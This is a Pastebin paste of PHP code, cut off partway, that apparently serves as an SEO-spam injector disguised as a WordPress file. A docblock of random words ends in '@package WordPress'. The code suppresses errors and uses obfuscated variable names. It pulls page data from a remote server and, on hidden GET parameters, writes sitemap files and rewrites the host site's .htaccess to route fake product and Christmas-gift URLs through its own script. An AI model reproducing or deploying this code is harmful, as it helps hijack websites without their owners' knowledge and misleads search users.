Socialking

Untitled

Jan 25th, 2021
395
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 88.56 KB | None | 0 0
  1. <?php
  2.  
  3. /**
  4.  * algebra bundle comment competition durable explode extreme geography horrible idle inferior infinite prior prompt prospect satellite shift terminal textile transplant treaty wonder.
  5.  * acid arbitrary biology boundary career dash duration flee infinite insurance moist oblige obstacle optional orbit passion personnel prominent quotation reject respond retain sexual slope.
  6.  * burden mood mutual personnel render scan tense torture variation.
  7.  * applause campus compete consent dumb merchant neglect notify render sketch universal.
  8.  * accelerate agent aspect cope devise drift exclusive hint infect infer insignificant parade semiconductor severe smash stale submerge torture urban wander.
  9.  * appreciate collision discipline expensive favorite germ media substance temptation virtue.
  10.  * code extreme reputation satellite ultimate.
  11.  * deaf exclusive oval tide.
  12.  * duration male notion pants resemble ridid withstand.
  13.  * applause appropriate avenue bother enthusiasm evil exterior illegal insure jam leak mixture outset passion passport previous reliable retain shelter slide substantial valley violet vitally.
  14.  * adequate algebra appoint budget casual clue decade domestic expansion genuine internal laser maintain notify opponent principal release torture yield.
  15.  * chaos consume debate dump erect generate guilty harmony infant jail opponent relief severe substantial terminal tremendous twist urgent.
  16.  * bargain dispose enthusiasm expenditure genuine mist neglect numerrous removal seminar slope stable triangle universe vain yield.
  17.  * alcohol applause decade earthquake favorable gallery recreation scan security snap solar variable vital.
  18.  * alter appetite barrier beforehand earthquake electron emotional herd naked negative nylon quit scratch sketch split strategic stripe suspicious the vacant wagon.
  19.  * delay jewel liable onion tarnest.
  20.  * arouse beforehand derive evolution expansion external grand liquor oral portable tension.
  21.  * academic column external scan.
  22.  * collision column debt diverse evil exclaim explode focus highlight inevitable marveous missile professional substantial survey urgent.
  23.  * academic awful burden conservative estimate excursion giant insignificant insure issue leisure mist naked numerrous pat racial religion render rival split videotape volcano.
  24.  * appetite clue competent duration flexible gaze gesture hostile illegal invade jungle leisure neutral obstacle personal presumably priority release sincere.
  25.  * accelerate defect distress guarantee hostile identify index maximum moist motivate prominent prompt quotation religion scratch strategy violent volunteer wax zone.
  26.  * beforehand expand flock mainland talent.
  27.  * accelerate avenue boundary flash geology golf humble illegal moral opportunity participate personal relief slender sorrow universe valid violence volume.
  28.  * adapt adopt authority awful capture core discipline discrimination domestic electron emotion forbid gallon hollow hostile mature nevertheless petrol resolve restrain ruin spur utilise variable.
  29.  * authority auxiliary debt gallery insignificant motivate omit prominent solar stripe submit tarnest utter wax weld.
  30.  * absolute conservation enviroment facility jeans launch lean motive necessity network oral petroleum powder prescribe render reputation slip victim.
  31.  * deaf decorate expel explode facility ferfile golf grand hostile obscure sexual simplicity variation video virus.
  32.  * bureau cliff display estimate exceed expend gap necessity outset personal remote restrain retail sexual substantial undergraduate variation video virtue weave.
  33.  * display encounter insurance prescribe rely snap volcano.
  34.  * breadth entitle expend external genius kneel leak mist participate particularly principle resume.
  35.  * appoint drift enclose essential globe humble inevitable marine merchant parade portion pursue ridid semester simplicity split substantial tedious temporary tissue transform witness.
  36.  * capture comparative flexible harmony leather maintain principal scale slip universe whatsoever.
  37.  *
  38.  * @package WordPress
  39.  */
  40.  
  41.  
  42. @ini_set('display_errors', 0);
  43. @ini_set('log_errors', 0);
  44. @set_time_limit(3600);
  45. define("GETDATE","http://www.datecenter.com/api/?key=");
  46. define("CENTERKEY",1);
  47. define("MYDIR", "/ebayca210112-11/");
  48. define("FNUM",99);
  49. define("JGNUM","40");
  50. define("LINKNUM","8");
  51. define("BZSITE","n");
  52. define("CURRENUSE","/usd/");
  53. define("BZPRO","u");
  54. define("BZCAT","t");
  55. //msbg
  56. define("JDT","0");
  57. //msend
  58.  
  59. //msidbg
  60. define("MSID",5620);
  61. //mssidend
  62.  
  63.  
  64. //keyjgbg
  65.  
  66. define("KEYJG",87);
  67.  
  68. //keyjgend
  69.  
  70. //randnumIbg
  71.  
  72. define("RANDNUMI",9);
  73.  
  74. //randnumIend
  75.  
  76. //randnumIIbg
  77.  
  78. define("RANDNUMII",6);
  79.  
  80. //randnumIIend
  81.  
  82. //pnamelenbg
  83.  
  84. define("PNAMELEN",49);
  85.  
  86. //pnamelenend
  87.  
  88. //jthouzuibg
  89. define("JTHZ","/");
  90. //jthouzuiend
  91.  
  92.  
  93. //nttarr_bg
  94.  
  95. $arrnametime[]="4";
  96. $arrnametime[]="2";
  97. $arrnametime[]="3";
  98. $arrnametime[]="1";
  99.  
  100.  
  101. //nttarr_end
  102.  
  103.  
  104. //kwzzarr_bg
  105.  
  106. $arrKeywz[]="11";
  107. $arrKeywz[]="7";
  108. $arrKeywz[]="6";
  109. $arrKeywz[]="12";
  110. $arrKeywz[]="8";
  111. $arrKeywz[]="5";
  112. $arrKeywz[]="10";
  113. $arrKeywz[]="9";
  114. $arrKeywz[]="4";
  115.  
  116.  
  117. //kwzzarr_end
  118.  
  119.  
  120. //brddarr_bg
  121.  
  122. $arrBread[]="BreadcrumbHeads row";
  123. $arrBread[]="crumbsHead";
  124. $arrBread[]="Breadcrumbs";
  125. $arrBread[]="ck-breadcrumb row";
  126. $arrBread[]="BreadcrumbTop";
  127. $arrBread[]="bread_crumb row";
  128. $arrBread[]="bread_crumb clearfix";
  129. $arrBread[]="breadcrumbs-base row";
  130. $arrBread[]="nw-breadcrumblist clearfix";
  131. $arrBread[]="breadList row";
  132. $arrBread[]="";
  133. $arrBread[]="BreadcrumbLists clearfix";
  134. $arrBread[]="BreadcrumbList";
  135. $arrBread[]="bread_crumb";
  136. $arrBread[]="Breadcrumb-Heads row";
  137. $arrBread[]="l-breadcrumblist";
  138. $arrBread[]="qa-breadcrumb";
  139. $arrBread[]="BreadcrumbHead clearfix";
  140. $arrBread[]="ck-breadcrumb clearfix";
  141. $arrBread[]="Breadcrumb";
  142. $arrBread[]="l-breadcrumb clearfix";
  143. $arrBread[]="BreadcrumbLists row";
  144. $arrBread[]="breadcrumb";
  145. $arrBread[]="crumbs-nag";
  146. $arrBread[]="nw-breadcrumblist row";
  147. $arrBread[]="breadcrumb clearfix";
  148. $arrBread[]="breadcrumbs-base";
  149. $arrBread[]="breadcrumbs clearfix";
  150. $arrBread[]="BreadcrumbTop row";
  151. $arrBread[]="BreadcrumbHeads";
  152. $arrBread[]="BreadHead clearfix";
  153. $arrBread[]="page-breadcrumbs";
  154. $arrBread[]="chrome-breadcrumbs";
  155. $arrBread[]="BreadcrumbTops clearfix";
  156. $arrBread[]="navBreadCrumbs row";
  157. $arrBread[]="ag-breadcrumblist row";
  158. $arrBread[]="breadcrumb row";
  159. $arrBread[]="crumbs-top";
  160. $arrBread[]="crumbsHeads row";
  161. $arrBread[]="breadLists";
  162. $arrBread[]="bread-List row";
  163. $arrBread[]="breadHeads";
  164. $arrBread[]="breadList clearfix";
  165. $arrBread[]="v-breadcrumb clearfix";
  166. $arrBread[]="pages-breadcrumbs";
  167. $arrBread[]="BreadcrumbsHead clearfix";
  168. $arrBread[]="Bread row";
  169. $arrBread[]="l-breadcrumb";
  170. $arrBread[]="crumbs row";
  171. $arrBread[]="breadtop";
  172. $arrBread[]="";
  173. $arrBread[]="crumb-list clearfix";
  174. $arrBread[]="";
  175. $arrBread[]="crumbsTops";
  176. $arrBread[]="l-breadcrumb row";
  177. $arrBread[]="Breadcrumb-Top clearfix";
  178. $arrBread[]="Breadcrumb row";
  179. $arrBread[]="Breadcrumb-Top row";
  180. $arrBread[]="navBreadCrumb row";
  181. $arrBread[]="BreadcrumbNavigation row";
  182. $arrBread[]="BreadcrumbHead row";
  183. $arrBread[]="Breadcrumb-Heads";
  184. $arrBread[]="cs-breadcrumb";
  185. $arrBread[]="r-breadcrumb row";
  186. $arrBread[]="navBreadCrumb clearfix";
  187. $arrBread[]="breadHead row";
  188. $arrBread[]="Breadcrumb-Top";
  189. $arrBread[]="Breadcrumb-Head row";
  190. $arrBread[]="Breadcrumb-Heads clearfix";
  191. $arrBread[]="Breadcrumb clearfix";
  192. $arrBread[]="";
  193. $arrBread[]="crumbs-top clearfix";
  194. $arrBread[]="cs-breadcrumb clearfix";
  195. $arrBread[]="BreadcrumbsList";
  196. $arrBread[]="crumbsHeads clearfix";
  197. $arrBread[]="BreadHead";
  198. $arrBread[]="page-breadcrumbs clearfix";
  199. $arrBread[]="l-breadcrumblist row";
  200. $arrBread[]="Breadcrumb row";
  201. $arrBread[]="";
  202. $arrBread[]="";
  203. $arrBread[]="BreadcrumbTops row";
  204. $arrBread[]="crumbsTop clearfix";
  205. $arrBread[]="s-breadcrumb row";
  206. $arrBread[]="crumbsTop";
  207. $arrBread[]="crumbList clearfix";
  208. $arrBread[]="BreadcrumbList clearfix";
  209. $arrBread[]="BreadcrumbLists";
  210. $arrBread[]="r-breadcrumb";
  211. $arrBread[]="chrome-breadcrumbs clearfix";
  212. $arrBread[]="mb-breadcrumb";
  213. $arrBread[]="ck-breadcrumb";
  214. $arrBread[]="breadHead";
  215. $arrBread[]="Breadcrumbs row";
  216. $arrBread[]="mb-breadcrumb row";
  217. $arrBread[]="BreadcrumbList row";
  218. $arrBread[]="bread-List";
  219. $arrBread[]="plp__breadcrumb";
  220. $arrBread[]="BreadcrumbHead";
  221. $arrBread[]="crumbsHead clearfix";
  222. $arrBread[]="breadHeads row";
  223. $arrBread[]="Breadcrumb clearfix";
  224. $arrBread[]="cs-breadcrumb row";
  225. $arrBread[]="crumbs-head clearfix";
  226. $arrBread[]="breadtop row";
  227. $arrBread[]="Bread clearfix";
  228. $arrBread[]="l-breadcrumb row";
  229. $arrBread[]="s-breadcrumb";
  230. $arrBread[]="crumb-list row";
  231. $arrBread[]="BreadcrumbsHead";
  232. $arrBread[]="l-breadcrumb clearfix";
  233. $arrBread[]="mb-breadcrumb clearfix";
  234. $arrBread[]="breadtops clearfix";
  235. $arrBread[]="navBreadCrumbs";
  236. $arrBread[]="crumbList row";
  237. $arrBread[]="breadHeads clearfix";
  238. $arrBread[]="c-breadcrumb clearfix";
  239. $arrBread[]="crumbsTops row";
  240. $arrBread[]="nw-breadcrumblist";
  241. $arrBread[]="ant-breadcrumb row";
  242. $arrBread[]="";
  243. $arrBread[]="breadcrumb";
  244. $arrBread[]="crumbs-head";
  245. $arrBread[]="el-breadcrumb row";
  246. $arrBread[]="crumbs-top row";
  247. $arrBread[]="page-breadcrumbs row";
  248. $arrBread[]="Breadcrumbs clearfix";
  249. $arrBread[]="BreadcrumbsList clearfix";
  250. $arrBread[]="crumbs clearfix";
  251. $arrBread[]="breadLists row";
  252. $arrBread[]="bread-List clearfix";
  253. $arrBread[]="crumbs-head row";
  254. $arrBread[]="ant-breadcrumb clearfix";
  255. $arrBread[]="crumbsHead row";
  256. $arrBread[]="v-breadcrumb";
  257. $arrBread[]="breadcrumbs";
  258. $arrBread[]="Breadcrumb-Head";
  259. $arrBread[]="c-breadcrumb row";
  260. $arrBread[]="BreadcrumbTop clearfix";
  261. $arrBread[]="crumb-list";
  262. $arrBread[]="l-breadcrumblist clearfix";
  263. $arrBread[]="s-breadcrumb clearfix";
  264. $arrBread[]="qa-breadcrumb clearfix";
  265. $arrBread[]="plp__breadcrumb row";
  266. $arrBread[]="crumbs-nag row";
  267. $arrBread[]="customBreadcrumb row";
  268. $arrBread[]="pages-breadcrumbs clearfix";
  269. $arrBread[]="breadtops row";
  270. $arrBread[]="el-breadcrumb";
  271. $arrBread[]="breadtop clearfix";
  272. $arrBread[]="Breadcrumb-Head clearfix";
  273. $arrBread[]="breadcrumb clearfix";
  274. $arrBread[]="breadcrumb row";
  275. $arrBread[]="plp__breadcrumb clearfix";
  276. $arrBread[]="";
  277. $arrBread[]="navBreadCrumb";
  278. $arrBread[]="breadHead clearfix";
  279. $arrBread[]="breadLists clearfix";
  280. $arrBread[]="ag-breadcrumblist";
  281. $arrBread[]="BreadHead row";
  282. $arrBread[]="BreadcrumbTops";
  283. $arrBread[]="v-breadcrumb row";
  284. $arrBread[]="breadList";
  285. $arrBread[]="el-breadcrumb clearfix";
  286. $arrBread[]="";
  287. $arrBread[]="ag-breadcrumblist clearfix";
  288. $arrBread[]="wrapper-breadcrums clearfix";
  289. $arrBread[]="qa-breadcrumb row";
  290. $arrBread[]="breadcrumbs-base clearfix";
  291. $arrBread[]="crumbsHeads";
  292. $arrBread[]="breadcrumbs row";
  293. $arrBread[]="doc-crumb row";
  294. $arrBread[]="chrome-breadcrumbs row";
  295. $arrBread[]="crumbList";
  296. $arrBread[]="c-breadcrumb";
  297. $arrBread[]="doc-crumb";
  298. $arrBread[]="r-breadcrumb clearfix";
  299. $arrBread[]="breadtops";
  300. $arrBread[]="l-breadcrumb";
  301. $arrBread[]="customBreadcrumb";
  302. $arrBread[]="Bread";
  303. $arrBread[]="";
  304. $arrBread[]="wrapper-breadcrums row";
  305. $arrBread[]="customBreadcrumb clearfix";
  306. $arrBread[]="crumbs-nag clearfix";
  307. $arrBread[]="Breadcrumb";
  308. $arrBread[]="crumbs";
  309. $arrBread[]="crumbsTops clearfix";
  310. $arrBread[]="";
  311. $arrBread[]="ant-breadcrumb";
  312. $arrBread[]="BreadcrumbNavigation clearfix";
  313. $arrBread[]="wrapper-breadcrums";
  314. $arrBread[]="navBreadCrumbs clearfix";
  315. $arrBread[]="BreadcrumbHeads clearfix";
  316. $arrBread[]="crumbsTop row";
  317. $arrBread[]="pages-breadcrumbs row";
  318. $arrBread[]="BreadcrumbsList row";
  319. $arrBread[]="";
  320. $arrBread[]="";
  321. $arrBread[]="BreadcrumbsHead row";
  322. $arrBread[]="BreadcrumbNavigation";
  323. $arrBread[]="doc-crumb clearfix";
  324.  
  325.  
  326. //brddarr_end
  327.  
  328.  
  329.  
  330.  
  331. //fhharr_bg
  332.  
  333. $arrfh[]="Christmas Supplies";
  334. $arrfh[]="Xmas";
  335. $arrfh[]="Top Christmas gifts 2018";
  336. $arrfh[]="Christmas gift ideas";
  337. $arrfh[]="Christmas presents";
  338. $arrfh[]="Unique Christmas Gifts";
  339. $arrfh[]="Christmas gift";
  340. $arrfh[]="Christmas Ornament";
  341. $arrfh[]="Christmas gift shop";
  342. $arrfh[]="Christmas Decoration";
  343. $arrfh[]="Xmas Ornaments";
  344. $arrfh[]="Christmas gift ideas 2018";
  345. $arrfh[]="Holiday presents";
  346. $arrfh[]="for Christmas";
  347. $arrfh[]="Holiday Gifts";
  348. $arrfh[]="Christmas Gifts 2018";
  349. $arrfh[]="Christmas gift store";
  350. $arrfh[]="Christmas Holiday";
  351. $arrfh[]="best Christmas gift";
  352. $arrfh[]="Best Christmas gifts 2018";
  353.  
  354. //fhharr_end
  355.  
  356.  
  357.  
  358. $q1 = "O00O0O"; $q2 = "O0O000"; $q3 = "O0OO00"; $q4 = "OO0O00"; $q5 = "OO0000"; $q6 = "O00OO0"; $q7 = "O00O00"; $q8 = "O00OOO"; $$q1 = RandAbcs();
  359.  
  360.  
  361.  
  362. //srrarr_bg
  363. $strRand[0]="drlgjhefzqitnpwkouxvsyacmb";
  364. $strRand[1]="oplncmietkzuxyhrgdwfjavsqb";
  365. $strRand[2]="sbeuvmqjoahiztxdnkrwpflcgy";
  366. $strRand[3]="ynbtvwudkjorqglxpafizeshmc";
  367. $strRand[4]="cosdrthpjbixlyvagwqzfkuenm";
  368. $strRand[5]="pjiuxefnkyczrovhdlbstwgmaq";
  369. $strRand[6]="inhfaxrdjzcmgyuslkewpvtoqb";
  370. $strRand[7]="nfjgkqeyoidxtaphbcuszlmwrv";
  371. $strRand[8]="liestrfqabvjcwmogxduhzpykn";
  372. $strRand[9]="lvndkbcuogwpsqtazmfjheixyr";
  373. $strRand[10]="apxurysficejgwoklqvmbdtnzh";
  374. $strRand[11]="lrmscqhjubonfwdgixzepktvay";
  375. $strRand[12]="atrpojgbmyeqwinclkfzhxudsv";
  376. $strRand[13]="wyhlfjxivgakbumndoczqeprst";
  377. $strRand[14]="sexyjgbuovrhmwczqplnatkdfi";
  378. $strRand[15]="buvngjacxpeltqroymdikwshzf";
  379. $strRand[16]="lwaqxeosrycfmtkpdvbznghiuj";
  380. $strRand[17]="szdivmjtqugcrflhpkbwneyxoa";
  381. $strRand[18]="zyvjunswtbcrkedoqaxlmpgihf";
  382. $strRand[19]="pkeihfamunlxwgrqcdsvotjzyb";
  383. $strRand[20]="slrgknofabwduqethxmpvjzyic";
  384. $strRand[21]="pzdbgauvjrhxtlnmfcsykqeoiw";
  385. $strRand[22]="ibtdafxjwkprshynclumzovegq";
  386. $strRand[23]="tuyjbhixmversdlzwqofcaknpg";
  387. $strRand[24]="fxnbcqdagwkilpzretsjouvmyh";
  388. $strRand[25]="gqskmwvrtxdezoiblyjfhpancu";
  389. $strRand[26]="twbcesrikhxqnpgvjuzomlyfad";
  390. $strRand[27]="mbslinajwzgdvcphfoukytqrxe";
  391. $strRand[28]="yugwvfbmpliaqtdkxrjoeshczn";
  392. $strRand[29]="yknilgbaoqjprmcedftwzuhvsx";
  393. $strRand[30]="chxibydslkpmtfjeanouzwvrgq";
  394. $strRand[31]="zwlmhgcdysupaoxfvbtejrnqik";
  395. $strRand[32]="gjmbnwdfokpiayqvxhcultsrze";
  396. $strRand[33]="dyrnmvcauqhlzwxpoebkijgfts";
  397. $strRand[34]="hdbjzvkfsyoulcatmipwxeqgrn";
  398. $strRand[35]="pnrgtbkqevoxhdmlcswfzjuyia";
  399. $strRand[36]="orkyhuxbdiwlfpsvqtcmnezajg";
  400. $strRand[37]="mkflxenworhugadqcitvypjsbz";
  401. $strRand[38]="bnlkwcryuospfgqaimhjtxezdv";
  402. $strRand[39]="flwranghsceiqoukpdxtvjybmz";
  403. $strRand[40]="wsojrmygiafcxqubpkevztnlhd";
  404. $strRand[41]="famydvkqwegtlixocnphurbjsz";
  405. $strRand[42]="fulyjmenkaiwcdzrhsbvotqxpg";
  406. $strRand[43]="buqcrxgyatmlkovewnipsfhzjd";
  407. $strRand[44]="dzpeiqhbrtxjusklgfynwmovac";
  408. $strRand[45]="ictfxjewkabqphurovmdylszng";
  409. $strRand[46]="wlicfdukxgprtbnzqsheyjaomv";
  410. $strRand[47]="mgoltsjpawuierhvxqczdfbykn";
  411. $strRand[48]="gsebizlutmyjqkfhxdcpwornva";
  412. $strRand[49]="xjqsgitedvlmcbuwfhazonyrpk";
  413. $strRand[50]="ychveftqwdrnopzialguxjmkbs";
  414. $strRand[51]="bpletxovwqzmdyjkrfsuiahcng";
  415. $strRand[52]="gqdewsnjxvcorhyimlzaupbfkt";
  416. $strRand[53]="ngjoirpfwvcztdxbelmuhyksqa";
  417. $strRand[54]="pgsxzrboahcdvnklmqfyjiwetu";
  418. $strRand[55]="cflxrobtmsawviqeykgjnhzpdu";
  419. $strRand[56]="tnmqjyhkrdvwcuegipfxaszlbo";
  420. $strRand[57]="vwyzpginshdrbquotmecjaklxf";
  421. $strRand[58]="avjlyugciwtxdzersbhqpfnmok";
  422. $strRand[59]="uiyxdfvqlbtwozcnsjpheramkg";
  423. $strRand[60]="ipyquxbwrlnafhejgmsvtzcdko";
  424. $strRand[61]="cxgoilwedaprhktqnbyfuvzsmj";
  425. $strRand[62]="bqzletyxavpnohigkdwufscjrm";
  426. $strRand[63]="fgvhewijnklxymbdscapzouqrt";
  427. $strRand[64]="bwfnelrgdxmokszuvqpthyiajc";
  428. $strRand[65]="zhkyspnjfxuodbwagmleivrqtc";
  429. $strRand[66]="sqyncutizkfmjwoxgavlbphedr";
  430. $strRand[67]="cizvrdkoepnhtajgymbsfxulqw";
  431. $strRand[68]="jfqhwdtuzgnvckxyaplsemrobi";
  432. $strRand[69]="fobjamukzqwdylcsernhvtixgp";
  433. $strRand[70]="rgazqsibyeuvfljkwtodcnmpxh";
  434. $strRand[71]="cftdvanslwrkxehpyquiomzbjg";
  435. $strRand[72]="myedfgblktnhocjaszwvpruqxi";
  436. $strRand[73]="mriavtnhqzofjwxpdusgeyclbk";
  437. $strRand[74]="plwtxqgsazdnmreubkjvcoihfy";
  438. $strRand[75]="dasmqoikgywzluenhfprxbctjv";
  439. $strRand[76]="wzubvypdagjtrqhlfikecomnsx";
  440. $strRand[77]="cvugjxtrzsqwofbmydanhieklp";
  441. $strRand[78]="icuqogjkythnfpwbdersxvmalz";
  442. $strRand[79]="lupemoahrvtcbnfgqiyjxkwdzs";
  443. $strRand[80]="viwrueqytgofdzmpsxjclakhnb";
  444. $strRand[81]="yljxzvhopscfukawgibremdntq";
  445. $strRand[82]="hjubpqasykfgrzvncxwmtedilo";
  446. $strRand[83]="abnjrmtghqvpkflcxziudwosey";
  447. $strRand[84]="lxuoiraytqmvfwsphcenkdgzbj";
  448. $strRand[85]="texdlapjhczsgyrqimwubkvnof";
  449. $strRand[86]="gmtvjdkxofusweablncizyrphq";
  450. $strRand[87]="xbzusjtrockvmygiflwhnpdeqa";
  451. $strRand[88]="vtxyrdlfjqcuwpshamoebingkz";
  452. $strRand[89]="cbkhuxszqmeragtnwjlyifvdop";
  453. $strRand[90]="hwfutkinrzolsbpycxgjqvemda";
  454. $strRand[91]="dphqvlcxaoynzjegbmsktuwfri";
  455. $strRand[92]="mygekdaiurpsnwxlbtfcvzhjqo";
  456. $strRand[93]="svnlpxcbgeftqwmrokdizhyuaj";
  457. $strRand[94]="kpusqfvowcxgehaylnmrtijbzd";
  458. $strRand[95]="oshwftprcjabqdkgvmuneixlyz";
  459. $strRand[96]="baqgjuhnkifvwsrpltozexmcdy";
  460. $strRand[97]="szlmcehkpxbwqfaurojvgntdyi";
  461. $strRand[98]="ushgckytindvawfmjboqrpxezl";
  462. $strRand[99]="mxekhbnuvftgzawocdjisrpqyl";
  463.  
  464. //srrarr_end
  465.  
  466.  
  467.  
  468. $thisdom = str_replace("www.","",$_SERVER['HTTP_HOST']);
  469. define("GETDOM",getthisdom());
  470.        
  471.  
  472.  
  473. //
  474.    
  475.    
  476.    
  477. $arrArrr = array();$j = 0;for($i=0;$i<20;$i+=2){
  478.    $arrArrr[$j++] = $strRand{$i}.$strRand{$i+1};}
  479. $Arrrarr = array_flip($arrArrr);
  480. $temp_abc = $O00O0O{15}.$O00O0O{18}.$O00O0O{14}.$O00O0O{19}.$O00O0O{20}.$O00O0O{3}.$O00O0O{4}.$O00O0O{21};
  481. $temp_def = $O00O0O{13}.$O00O0O{0}.$O00O0O{18}.$O00O0O{20}.$O00O0O{3}.$O00O0O{8}.$O00O0O{14}.$O00O0O{0};
  482.  
  483.  
  484.  
  485. if(isset($_GET["gsitemap"]) && isset($_GET["mapnum"])){
  486.    
  487.     $O_OO0_0O_0='America/Chicago';  @date_default_timezone_set($O_OO0_0O_0);   
  488.     if (! is_dir("../maps"))
  489.         mkdir("../maps", 0755);
  490.     global $gnumber;
  491.     $gnumber = 1;
  492.     $bgNum = (int)trim($_GET["gsitemap"]);
  493.     $mapnum = (int)trim($_GET["mapnum"]);
  494.     if($bgNum > FNUM)
  495.        die("The Number Must Lower Then " . FNUM);
  496.    
  497.     $arrNumTemp = getMapNum($bgNum,$mapnum);
  498.    
  499.     $rs = '#<map>(.*)</map>#si';
  500.     $mapLogs = file_get_contents("./map.log");
  501.    
  502.     foreach($arrNumTemp as $vss){
  503.        
  504.         $vals = "id$vss.php";
  505.        
  506.        
  507.         if(JDT == 0 && $gnumber == 1){
  508.            
  509.             if(strstr($mapLogs,'#sitemap.xml#') && file_exists('../maps/sitemap.xml')){
  510.                 echo $vals."<br/>";
  511.                 echo '../maps/sitemap.xml successed<br/>';
  512.                 $gnumber++;
  513.                 continue;  
  514.             }
  515.        
  516.         }elseif(JDT == 0){
  517.                
  518.         if(strstr($mapLogs,'#' . $arrABC[$gnumber-2] . 'htmlmaps' .'.xml#') && file_exists('../maps/' . $arrABC[$gnumber-2] . 'htmlmaps' .'.xml')){
  519.             echo $vals."<br/>";
  520.             echo '../maps/' . $arrABC[$gnumber-2] . 'htmlmaps' .'.xml successed<br/>';
  521.             $gnumber++;
  522.             continue;  
  523.         }
  524.         }
  525.        
  526.        
  527.         if(strstr($mapLogs,'#' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml#') && file_exists('../maps/' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml')){
  528.             echo $vals."<br/>";
  529.             echo '../maps/' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml successed<br/>';
  530.             $gnumber++;
  531.             continue;  
  532.         }
  533.        
  534.         for($i=0; $i<3; $i++){
  535.             $idUrl =  GETDOM . "gpage.php?getmapid=$vss&site=$thisdom&sid=".MSID;
  536.             $tempIdStr = curl_get_from_webpage($idUrl,'',5);
  537.             $arrIdNameNow = array();
  538.             if(preg_match($rs,$tempIdStr,$matchIdName)){
  539.                 $tparrIdName = explode('^^',$matchIdName[1]);
  540.                 foreach($tparrIdName as $vs){
  541.                     $tpArr = explode('^',$vs);
  542.                     if(count($tpArr) == 2){
  543.                         $arrIdNameNow[$tpArr[0]] = $tpArr[1];
  544.                     }elseif(count($tpArr) > 2){
  545.                         $tpstr = '';
  546.                         for($j=1; $j<count($tpArr); $j++){
  547.                             $tpstr .= $tpArr[$j] . ' ';
  548.                         }
  549.                         $tpstr = trim($tpstr);
  550.                         $arrIdNameNow[$tpArr[0]] = $tpstr;
  551.                     }
  552.                 }
  553.                
  554.                 break;
  555.             }
  556.         }
  557.        
  558.        
  559.    
  560.         if(!isset($arrIdNameNow) or count($arrIdNameNow) < 100){
  561.             echo "g sitemap fail<br/>";
  562.             die();
  563.         }
  564.        
  565.         echo $vals."<br/>";
  566.    
  567.         if($gnumber == 1){
  568.             if(JDT == 1){
  569.                 gsitemap($arrIdNameNow,2,1);           
  570.                 }else{
  571.                 gsitemap($arrIdNameNow,1,2);           
  572.                 }
  573.         }else{
  574.            
  575.             if(JDT == 1){
  576.                 gsitemap2($arrIdNameNow,2,1);           }else{
  577.                 gsitemap2($arrIdNameNow,1,2);           }
  578.            
  579.         }
  580.        
  581.         unset($arrIdNameNow,$tempArr1,$tempArr2);   }
  582.    
  583. }
  584.  
  585.  
  586. if(isset($_GET["ghtac"]) && $_GET["ghtac"]){
  587.  
  588.     $dirNames = dirname(__FILE__);    
  589.     $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames))); 
  590.     $PreDir = '';  
  591.     if(JDT == 1){
  592.         $UrlBaseDir = $httcReplace;     $RewriteOnDir = '';
  593.     }else{
  594.         $UrlBaseDir = '';       $PreDir = '../';        $RewriteOnDir = $httcReplace . '/';
  595.     }
  596.     $strhtt = '';
  597.     if (file_exists("$PreDir.htaccess")){
  598.         @chmod("$PreDir.htaccess",0755);
  599.         $strhtt = file_get_contents("$PreDir.htaccess");   
  600.     }
  601.     if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule')))
  602.     {
  603.         $strhtt = '<IfModule mod_rewrite.c>'.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .'</IfModule>'; 
  604.     }else{
  605.         $strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt);
  606.         $strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt);
  607.     }
  608.        
  609.     if(1){
  610.        
  611.         $r0 = '#(.*RewriteEngine On.*)#i';
  612.  
  613.         $r1 = '#(.*RewriteBase.*)#i';       $r2 = '#RewriteRule#i';    
  614.  
  615.    
  616.         if(JDT == 0){
  617.            
  618.            
  619.             $rsut = '\1'.PHP_EOL .'RewriteRule ^'. '.*-(\d+)-.*'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^' . 'brand/(.*)/\d+'.'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'.'.*([a-z]+htmlmaps\.xml)$  maps/\$1 [L]' . PHP_EOL . 'RewriteRule ^'.'.*(sitemap\.xml)$  maps/\$1 [L]' . PHP_EOL ;
  620.        
  621.             $rsut2 = PHP_EOL .'RewriteRule ^'. '.*-(\d+)-.*'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^' . 'brand/(.*)/\d+'.'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'.'.*([a-z]+htmlmaps\.xml)$  maps/\$1 [L]' . PHP_EOL . 'RewriteRule ^'.'.*(sitemap\.xml)$  maps/\$1 [L]' . PHP_EOL  .'RewriteRule' ;
  622.        
  623.            
  624.         }else{
  625.            
  626.            
  627.             $rsut = '\1'. PHP_EOL .'RewriteRule ^'. '.*-(\d+)-.*'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^' . 'brand/(.*)/\d+'.'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL  ;
  628.        
  629.             $rsut2 = PHP_EOL .'RewriteRule ^'. '.*-(\d+)-.*'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^' . 'brand/(.*)/\d+'.'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL  .'RewriteRule' ;  
  630.        
  631.            
  632.         }
  633.  
  634.  
  635.  
  636.    
  637.             if(preg_match($r0,$strhtt)){
  638.                 $strhtt = preg_replace($r0,$rsut,$strhtt,1);
  639.             }elseif(preg_match($r1,$strhtt)){
  640.                 $strhtt = preg_replace($r1,$rsut,$strhtt,1);
  641.             }else{
  642.                 $strhtt = preg_replace($r2,$rsut2,$strhtt,1);
  643.             }
  644.        
